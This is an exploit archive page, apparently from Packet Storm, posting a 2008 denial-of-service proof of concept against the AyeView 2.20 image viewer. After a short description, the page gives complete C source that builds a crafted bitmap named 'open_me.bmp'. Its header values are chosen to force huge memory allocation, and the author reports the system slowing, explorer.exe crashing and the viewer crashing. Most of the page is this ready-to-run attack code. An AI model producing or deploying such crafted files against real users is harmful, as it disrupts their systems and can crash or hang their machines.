what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ayeview-dos.txt

ayeview-dos.txt
Posted Oct 6, 2008
Authored by suN8Hclf | Site dark-coders.pl

AyeView version 2.20 invalid bitmap header parsing denial of service exploit.

tags | exploit, denial of service
SHA-256 | 9ada5ff4a3bb577bc6fa51dcabf831e6a852b7dad6b7e60fdc54fd6afbbb3fc4

ayeview-dos.txt

Change Mirror Download
Name      : AyeView v2.20 (invalid bitmap header parsing) DoS Exploit
Credit : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.ayeview.com/downloads.htm
Greetz : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind,
Katharsis, str0ke, all from #dark-coders and others;]

Short Desc:
AyeView v2.20 software does not properly parse values in bmp file header.
In fact it does it good but it does not check if these values are "reasonable".
Therefore we can create a special bitmap, that will slow down or even
suspend the entire system. I have written a PoC that enforce AyeView
to allocate large amounts of memory. Short history:

First start of exploit -> the system really slowed down
Second start(another values)-> I got a message that "the amount of virtual memory
is too low", explorer.exe crashed
Third start(another values) -> AyeView crashed

PoC:
------------------------------exploit---------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

struct bmpfile_header{
short bfType;
int bfSize;
int Res;
int bfOffBits;
int biSize;
int biWidth;
int biHeight;
short biPlanes;
short biBitCount;
int biCompression;
int biSizeImage;
int biXPelsPerMeter;
int biYPelsPerMeter;
int biClrUsed;
char biClrImportant;
char biClrRotation;
short biReserved;
}__attribute__((packed)); //shift to 54 bytes


#define WIDTH 3000 //play around with these values...
#define HEIGHT 60000
#define Y 44432
#define X 54444

int main(int argc, char *argv[])
{
struct bmpfile_header *bmpheader;
char *memory;
FILE *f;

memory=(char *)malloc(60);
if(memory==NULL){
perror("malloc");
return -1;
}
memset(memory, 0, 60);
bmpheader=(struct bmpfile_header *)memory;
printf("[+]Building bitmap... :)\n");
bmpheader->bfType=*(short *)"BM";
bmpheader->bfSize=(int)60;
bmpheader->Res=0;
bmpheader->bfOffBits=54;
bmpheader->biSize=40;
bmpheader->biHeight=(int)HEIGHT;
bmpheader->biWidth=(int)WIDTH;
bmpheader->biPlanes=1;
bmpheader->biBitCount=24;
bmpheader->biCompression=0;
bmpheader->biSizeImage=6;
bmpheader->biXPelsPerMeter=(int)X;
bmpheader->biYPelsPerMeter=(int)Y;
bmpheader->biClrUsed=255*255*255;
bmpheader->biClrImportant=0;
bmpheader->biClrRotation=0;

f=fopen("open_me.bmp", "wb");
if(!f){
perror("fopen");
free(memory);
exit(-1);
}
fwrite(memory, 1, 60, f);
fclose(f);
printf("[+]open_me.bmp bitmap created :)\n");
free(memory);
return 0;
}
------------------------------exploit---------------------------

Stay secure...


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close